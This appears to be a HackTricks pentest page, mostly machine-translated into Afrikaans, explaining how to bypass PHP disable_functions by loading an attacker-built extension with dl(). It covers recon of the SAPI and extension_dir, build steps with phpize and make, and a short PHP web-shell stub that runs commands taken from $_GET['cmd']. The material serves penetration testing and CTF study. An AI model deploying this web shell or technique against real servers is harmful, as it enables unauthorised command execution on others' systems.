Disable Functions Bypass - dl Function
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
dl() lets PHP load a shared extension at runtime. If you can make it load an attacker-controlled module, you can register a new PHP function that internally calls execve, system, or any other native primitive and therefore bypass disable_functions.
Dit is ’n werklike primitief, maar op moderne teikens is dit baie minder algemeen as wat ouer beskrywings voorstel.
Waarom hierdie omseiling vandag ongewoon is
Die hoofhindernisse is:
dl()moet bestaan en mag nie gedeaktiveer wees nieenable_dlmoet steeds dinamiese laai toelaat- Die teiken SAPI moet
dl()ondersteun - Die payload moet ’n geldige PHP-uitbreiding wees wat saamgestel is vir die selfde teiken ABI
- Die uitbreiding moet toeganklik wees vanaf die gekonfigureerde
extension_dir
Die amptelike PHP-handleiding is die belangrikste werklikheidstoets hier: dl() is slegs beskikbaar vir CLI en embed SAPIs, en vir die CGI SAPI wanneer dit vanaf die command line uitgevoer word. Dit beteken die tegniek is gewoonlik nie beskikbaar in normale PHP-FPM/mod_php web requests nie, dus kontroleer die SAPI voordat jy tyd spandeer om ’n payload te bou.
Neem ook kennis dat enable_dl ’n INI_SYSTEM instelling is en, sedert PHP 8.3.0, PHP dokumenteer dit as deprecated, so jy kan dit gewoonlik nie tydens runtime vanaf aanvaller-beheerde PHP-kode omskakel nie.
If dl() is not viable, go back to the broader list of module/version dependent bypasses.
Vinnige triage vanaf ’n foothold
Voordat jy enigiets bou, versamel die presiese parameters waarmee die module moet ooreenstem:
<?php
phpinfo();
echo "PHP_VERSION=" . PHP_VERSION . PHP_EOL;
echo "PHP_SAPI=" . php_sapi_name() . PHP_EOL;
echo "ZTS=" . (PHP_ZTS ? "yes" : "no") . PHP_EOL;
echo "INT_BITS=" . (PHP_INT_SIZE * 8) . PHP_EOL;
echo "enable_dl=" . ini_get("enable_dl") . PHP_EOL;
echo "extension_dir=" . ini_get("extension_dir") . PHP_EOL;
echo "disabled=" . ini_get("disable_functions") . PHP_EOL;
?>
Wat saak maak:
PHP_SAPI: as ditfpm-fcgiofapache2handleris, isdl()gewoonlik ’n doodloop vir web exploitationextension_dir: die payload moet hiervandaan gelaai wordPHP Version, architecture, debug/non-debug, and ZTS/non-ZTS: jou module moet daarmee ooreenstemdisable_functions: bevestig ofdlafwesig is omdat dit gedeaktiveer is of omdat die SAPI dit nie ondersteun nie
Praktiese uitbuitingsbeperkings
1. Jy benodig gewoonlik skryfreg na extension_dir
Dit is die grootste knelpunt.
dl() neem die uitbreidingslêernaam, en PHP laai dit vanaf extension_dir. In praktyk beteken dit dat ’n gewone arbitraire lêer-oplaai na /var/www/html/uploads nie voldoende is nie. Jy het steeds ’n pad nodig om ’n .so/.dll te plaas waar PHP werklik uitbreidings sal laai.
Realistiese situasies waar dit uitbuitbaar raak:
- CTFs of doelbewus swak labs waar
extension_dirskryfbaar is - Gedeelde hosting of kontainerfoute wat ’n skryfbare extension path openbaar
- ’n Afsonderlike arbitraire lêerskryf-primitive wat reeds by
extension_diruitkom - Post-exploitation scenario’s waar jy reeds genoeg privileges verwerf het om lêers daar neer te sit
2. Die module moet by die teiken-bou pas
Net ooreenstem met PHP_VERSION is nie genoeg nie. Die extensie moet ook ooreenstem met:
- OS en CPU-argitektuur
- libc/toolchain verwagtinge
ZEND_MODULE_API_NO- debug vs non-debug build
- ZTS vs NTS
As dit nie ooreenstem nie, sal dl() misluk of die proses laat crash.
3. open_basedir is nie die hoofverdediging hier nie
Sodra jy die module in extension_dir kan plaas en dl() kan aanroep, word die extensie-kode binne die PHP-proses uitgevoer. Op daardie punt was die relevante hindernis nie open_basedir nie, maar die vermoë om ’n geldige gedeelde objek in die extensie-laaipad te plaas.
Bou die kwaadwillige extensie
Die klassieke roete is steeds geldig:
- Herbou die teiken-bou so nou moontlik
- Gebruik
phpize,./configure, enmakeom ’n gedeelde extensie te bou - Eksporteer ’n PHP-funksie soos
bypass_exec($cmd)wat inheemse opdrag-uitvoering omsluit - Laai die saamgestelde module op in
extension_dir - Laai dit met
dl()en roep die geëksporteerde funksie aan
Die aanval is oud, maar steeds relevant omdat PHP 8.x changelogs voortgaan om dl()-spesifieke crash-fixes in te sluit. Die primitive bestaan steeds; die moeilike deel is om ’n ontplooiing te vind waar dit bereikbaar is en waar jy ’n ooreenstemmende module kan neerbring.
Minimale werkvloei
Op die aanvaller se masjien
mkdir bypass && cd bypass
phpize
./configure
make
Die resulterende gedeelde objek sal gewoonlik onder modules/ wees.
As jy op ’n ander omgewing bou as die teiken, behandel die geproduseerde lêer as ’n konsep totdat jy verifieer dat die ABI ooreenstem met dié van die slagoffer.
Laai en gebruik die uitbreiding
As die teiken werklik dl() ondersteun en die module binne extension_dir is, is die runtime-kant eenvoudig:
<?php
if (!extension_loaded('bypass')) {
dl('bypass.so'); // use the correct filename for the target platform
}
echo bypass_exec($_GET['cmd']);
?>
On Windows the filename will typically be a .dll, while on Unix-like targets it will usually be a .so.
Aanvaller notas
- Moet nie aanvaar dit werk op afstand net omdat
function_exists("dl")in sekere dokumentasie of ou skrywes true teruggee nie; valideer die regstreekse SAPI - ’n Mislukte
dl()-poging kan die PHP-werker beëindig as die module onverenigbaar is - Vanaf PHP 8 af is gedeaktiveerde funksies uit die funksietabel verwyder, so userland-enumerasie kan van ouer plasings verskil
- As jy nie na
extension_dirkan skryf nie, is hierdie tegniek gewoonlik minder prakties as FPM/FastCGI,LD_PRELOAD, of module-spesifieke omseilings wat reeds in hierdie afdeling behandel is
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


